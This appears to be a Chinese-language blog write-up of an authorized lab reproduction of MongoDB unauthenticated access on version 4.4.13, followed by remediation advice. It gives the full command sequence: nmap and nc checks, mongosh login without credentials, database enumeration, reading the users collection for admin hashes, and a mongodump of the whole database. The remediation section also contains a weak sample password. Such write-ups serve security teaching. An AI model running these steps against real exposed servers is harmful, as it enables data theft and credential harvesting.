# MongoDB 未授权访问漏洞复现与分析(基于 4.4.13 版本)
文章说明
本文基于授权渗透测试环境,对一台运行 MongoDB 4.4.13 的靶机(IP:172.20.0.100)进行未授权访问漏洞复现。
所有操作均在明确书面授权下完成,**严禁用于任何未授权场景**。
### 0x00 漏洞概述
漏洞类型:配置不当导致的未授权访问(Unauthorized Access via Misconfiguration)
影响版本:MongoDB 任意版本(只要未启用访问控制,即未设置 `--auth` 或 security.authorization: enabled)
CVSS 分值:9.8(Critical)
危害:攻击者可直接读取、修改、删除所有数据库内容,包括用户凭证、业务数据、配置文件等。
常见利用场景:
- 开发/测试环境忘记开启认证
- 运维误配(只绑定 localhost 但端口暴露)
- 默认安装未修改配置
在野利用非常广泛:挖矿木马、勒索软件、数据窃取 bot 常扫描 27017 端口。
0x01 环境信息
- 目标 IP:172.20.0.100
- 端口:27017/tcp open
- 服务版本:MongoDB 4.4.13
- 认证状态:未启用(Access control is not enabled)
- 操作系统:Linux 5.x(VMware 虚拟机)
-*相关业务:Next.js 电商后台(choiceshop 数据库)
nmap 初步扫描结果(节选):
27017/tcp open mongodb MongoDB 4.4.13
0x02 漏洞复现步骤
步骤1:端口确认与基本连接测试
bash
nmap -p 27017 -sV 172.20.0.100![]()
确认 27017 开放且返回版本 4.4.13。
使用 nc 测试连接:
bash
nc -v 172.20.0.100 27017
# 成功显示:Connection to 172.20.0.100 27017 port [tcp/*] succeeded!![]()
说明端口可达,但不代表无认证(需发协议包验证)。
步骤2:使用 mongosh 快速验证(最可靠方法)
bash
podman run --rm -it docker.io/library/mongo:latest \
mongosh "mongodb://172.20.0.100:27017"
成功进入 shell 并显示:
**结论**:未授权访问漏洞确认存在。
步骤3:枚举数据库与集合
show dbs
// 输出:
admin 132.00 KiB
choiceshop 500.00 KiB
config 108.00 KiB
local 72.00 KiB
切换到业务数据库:
use choiceshop
show collections
// 输出:
banners categories details orders products reviews sliders users

步骤4:读取敏感数据(users 集合)
db.users.find().pretty()
关键发现:直接获取后台管理员凭证哈希,可用于后续接管 Web 管理界面。
步骤5:完整数据库备份(拖库)
mkdir -p mongo_backup
podman run --rm -it \
-v $(pwd)/mongo_backup:/backup:Z \
docker.io/library/mongo:latest \
mongodump \
--host 172.20.0.100 \
--port 27017 \
--db choiceshop \
--out /backup \
--gzip
备份成功后,本地得到完整 BSON + 元数据文件,可离线分析或恢复。
0x03 攻击链完整演示
1. nmap 发现 27017 开放 + MongoDB 版本
2. mongosh 直接连接成功,无需任何凭证
3. show dbs → 发现业务库 choiceshop
4. db.users.find() → 获取所有用户凭证(包括管理员)
5. mongodump 完整备份数据库 → 实现数据拖取
0x04 修复建议
立即修复(优先级:紧急)
1. 启用访问控制**
编辑 /etc/mongod.conf:
security:
authorization: enabled
重启 mongod 服务。
2. 创建管理员用户**(必须先执行):
use admin
db.createUser({
user: "admin",
pwd: "StrongPassword123!",
roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
})
3. 防火墙限制
只允许业务服务器 IP 访问 27017:
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="业务服务器IP" port port="27017" protocol="tcp" accept'
firewall-cmd --reload
4. 升级 MongoDB
4.4 已 EOL,建议升级到 7.x 或 8.x(长期支持版)。
5. 监控与审计
开启 MongoDB 日志 + 监控异常连接,使用 SIEM 检测 27017 扫描行为。
0x05 总结
MongoDB 未授权访问是**最常见、最严重**的配置类漏洞之一,一旦端口暴露,几乎等于数据库裸奔。
本次复现在授权环境下完成,成功读取并备份了业务数据库 choiceshop 中的用户凭证,证明系统存在严重失陷风险。
更多推荐




所有评论(0)